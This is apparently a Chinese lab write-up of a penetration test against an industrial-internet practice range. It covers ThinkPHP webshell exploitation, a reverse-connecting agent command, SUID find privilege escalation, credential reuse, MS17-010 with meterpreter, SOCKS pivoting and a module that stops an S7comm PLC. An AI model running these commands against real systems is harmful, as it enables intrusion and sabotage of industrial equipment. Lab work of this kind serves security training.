工业互联网场景下内网渗透测试


最近做工业安全相关的业务,根据公司设置的工业安全靶场做了一下测试,这里记录一下

拓扑

image_1f9g9nglb93ban01di5erh18li13.png-71.8kB

拓扑设计的是攻击机直接接入了集团的vlan中,集中分为两层内网,第一层是集团的展示页面、态势感知页面及SCADA主机,二层内网还有两个工业控制系统

信息收集

接入后,进行内网存活ip探测

image_1f9gacqijju71ekhb5d1ugn4kq1g.png-64kB

查看本机的IP地址,扫描同网段主机

image_1f9gae8uqk31vtp1fkr1lb21c4c1t.png-41.4kB

发现有3台存活主机,两台存在80页面,查看一下

image_1f9gafoom81c6vqqi61le572f2a.png-386.1kB

image_1f9gag26r16eo1a4akcv1elfrgj2n.png-270.9kB

分别为展示网页和态势感知网页,我们先从展示网页下手

渗透测试

10.1.1.1

在收集WEB站点信息之前,收集一下该IP开放的其他端口

nmap -T4 -A -sS -p 1-65535 -v 10.1.1.1

image_1f9gaovn5saaf73mlk1246pk734.png-181.9kB

开放了80及22端口,访问80端口访问页面,进行目录枚举

image_1f9gb5g2t10hf1k49d5ds131js73h.png-234.7kB

发现存在
“`/admin/index.php“`页面,访问发现右下角存在thinkphp的标志

image_1f9gb5tpmqnh1pabr0i1o9u86d3u.png-59.1kB

利用tp扫描工具试一下

image_1f9gcoeu9usmu1e181h18kcj1p4b.png-45.3kB

好家伙一堆洞,随便拿一个洞来利用

image_1f9gcpfhidrtekk1cmr4l5kgr4o.png-41.6kB

成功写入shell,蚁剑连接一下,传入我们agent工具

image_1f9gcsmnc1nojbcf1qmg62mecd55.png-33.3kB

上传之后修改权限,在我们电脑端启用admin.exe

image_1f9gcuo6aa2e1ob21tcv12611j415i.png-63.2kB

输入监听端口,在蚁剑上执行反弹命令

(www-data:/tmp) $ ./agent_linux_x64 -rhost 10.1.1.46 -rport 9876

image_1f9gd27141fa51agr1t0qbfo1kto5v.png-48.6kB

成功监听到数据,首先收集本机信息尝试提权,首先尝试suid提权

尝试查找具有root权限的SUID的文件

find / -perm -u=s -type f 2>/dev/null

image_1f9gd70q3n19g01taqjt51o6j6c.png-66.4kB

发现find命令也有此权限,尝试利用find进行提权

find /etc/passwd -exec whoami \;

image_1f9gd9a7t16d12ib63u1v7o1jtp6p.png-10.8kB

成功提权,尝试获取/root目录下信息

image_1f9gdakfr1gpb792j5rq6b1p6376.png-51.4kB

主要看一下flag.txt和readme文件

image_1f9gddbedevk136115upj51jpc83.png-23.7kB

发现flag和一个用户的信息

toor:2021@t00r_

收集一下开始对第二个网站进行渗透

10.1.1.2

同样还是一顿扫

nmap -T4 -A -sS -p 1-65535 -v 10.1.1.2

image_1f9gdmnarnc714cdcih1r6oa8k8g.png-179.4kB

同样可以看到靶机开放了22和80,既然刚才获得了一个新的用户,我们直接拿过来尝试一下,看看能否直接登陆系统中

image_1f9ge3hq4o4c1ukb1h2814ib151p9d.png-49.6kB

成功登陆,尝试切换用户,发现sudo直接可以切换,成功提权

image_1f9ge4kt01s4q1stt1selqkk11h09q.png-20kB

同样,将我们的agent传输到服务器执行命令,弹回我们的admin.exe中,方便管理

image_1f9ge8fq71jfa1d6hln2kmr1501a7.png-31kB

成功获取数据

image_1f9ge9e121m1etj1h331evr1p2fak.png-27.9kB

然后我们对10.1.1.3进行渗透

10.1.1.3

仍然是无脑一顿扫

nmap 10.1.1.3

image_1f9geojsam5gf491lthqp31lj0b1.png-378.8kB

因为全端口扫描比较慢,扫描一千个常见端口也没发现比较特殊的,不过根据开启的端口,我们推测靶机是windows7,利用ISF扫描一下,是否存在SCADA

image_1f9gesie319b7r2o1iqh184s1onmbe.png-498.3kB

根据ISF扫描发现,靶机开放了102端口,所对应的协议为s7comm,尝试查找相关的漏洞

image_1f9gev3jff3l1v4173t1c9d1fcqbr.png-123.6kB

发现,我们存在利用脚本,可以控制PLC,利用该模块进行攻击

image_1f9gf1a7f1p521t4710almhp1h41c8.png-428.5kB

添加上靶机的ip地址,进行攻击

image_1f9gf2gtk1miv1ojthnevi1rkncl.png-100.2kB

让运维老哥截图一下,设备运行页面的内容

image_1f9gf4r8h1v1v4c317dg1pjg5ffd2.png-95.8kB

成功停止我们的设备,再次打开程序的话,直接修改相关的command即可

同时发现端口开放了139和445端口,我们尝试利用ms17010进行权限获取

image_1f9ghrh4c14pd1ogf1aqtjh7rf7nc.png-130.5kB

探索发现存在漏洞,尝试攻击

search ms17_010

set payload windows/x64/meterpreter/bind_tcp

image_1f9gi6lrs1cua1rtp3r21aggtoqnp.png-285.4kB

image_1f9gi8kk51fb31j3g1sl7r3e1rg5o6.png-132.9kB

到这里第一层我们先放一下,我们对于第二层的设备进行渗透,这里首先利用我们的admin.exe生成sosks代理

image_1f9gfbuqq1sdqqr15cr1as5105sdf.png-10.4kB

内网渗透

在proxiffer中添加相关的代理数据

image_1f9gff0g7sj56ga2u51suf19ksdv.png-50.8kB

首先进行网段存活探测,根据靶机的第二个网口确定ip范围

image_1f9gfgmtd1hvaes61d82opsfckec.png-72.3kB

利用ip扫描工具进行扫描

image_1f9gfmefp2nl1eau18uk1lk41e1of9.png-29.6kB

根据测试发现,10.2.1.2和10.2.1.3是内网的单独靶机,利用nmap进行端口扫描,这里需要在我们的kali虚拟机上配置相关的代理,这里可以用proxychains进行配置

首先添加相应的socks5代理

gedit /etc/proxychains.conf

image_1f9gftlrr1fqo170lign14a0h2ggp.png-35.3kB

尝试nmap进行扫描

10.2.1.2

proxychains nmap -sT -Pn 10.2.1.2

这里的参数是指,采用TCP协议进行扫描,不适用ping进行扫描,因为ping属于ICMP协议,不能通过socks5代理

image_1f9gg7dfc16nfjf852g1bueak8h6.png-491.7kB

成功通过socks5进行扫描

image_1f9ggcfbv16pu1uqi1miv4vm4u8hj.png-361.9kB

扫描发现靶机开放80端口和3389端口,首先尝试访问80端口查看具体信息

image_1f9ggf33412fn1oo210pu15on183ai0.png-280.7kB

发现为SCADA的管理页面,直接搜索一下相关服务是否存在漏洞

image_1f9ggg3lj1u7q1fdf1pgu13s1bltid.png-429.8kB

发现相关的漏洞还是比较多的,且存在RCE,下载相应的漏洞利用exp

image_1f9ggmohl1hhmhq116jm1did1l01iq.png-27.3kB

修改命令,添加管理员用户

image_1f9ggnv021levlp817g71q7rbu0j7.png-195.6kB

攻击之后利用mstsc进行远程连接

image_1f9ggptope2p14so2mg1bfqpmijk.png-49.4kB

在admin用户桌面发现flag

image_1f9ggrj491jt4154m5ck1pjo8vdkh.png-110.8kB

10.2.1.3

proxychains nmap -sT -Pn 10.2.1.3

仍然利用nmap进行扫描

image_1f9gh0u7ec7f13hrj6g241kgku.png-113.2kB

发现开放了1234端口,同样是尝试访问一下,查看内容

image_1f9gh2ln21dqpo6b14go1dqv1r82lb.png-42.4kB

同样是search一下是否存在漏洞

image_1f9gh4hgt1qvbun1ca9qmp1djhlo.png-75.9kB

发现相关的漏洞,利用msf进行攻击

proxychains msfconsole

利用socks5代理使用msf,获取攻击模块,由于该模块为外加的模块,需要先执行

reload_all

image_1f9gh89qitrj1rf31c6jd4avvhm5.png-152.8kB

利用该脚本

image_1f9ghd98h911hcv1aoe1k6g1i3emi.png-221.9kB

设定好ip,尝试读取flag.txt(默认从c:根目录开始读取)

image_1f9ghgls3b5f45vu2takh4bbmv.png-301.1kB

成功获取到flag

到此渗透测试结束

总结

本次渗透测试是基于工业互联网场景下的综合渗透,漏洞不仅仅包括我们的传统漏洞,还囊括了工业互联网领域的SCADA系统的漏洞。对于SCADA相关的漏洞,现在的主要渗透模式还是以exp利用为主,自主挖掘的难度还比较大,但是随着工业互联网安全的发展,相关的漏洞防护日益更新,之后的渗透测试可能难度就更大,更偏向于自主漏洞的挖掘。


One thought on “工业互联网场景下内网渗透测试”

发表评论

邮箱地址不会被公开。 必填项已用*标注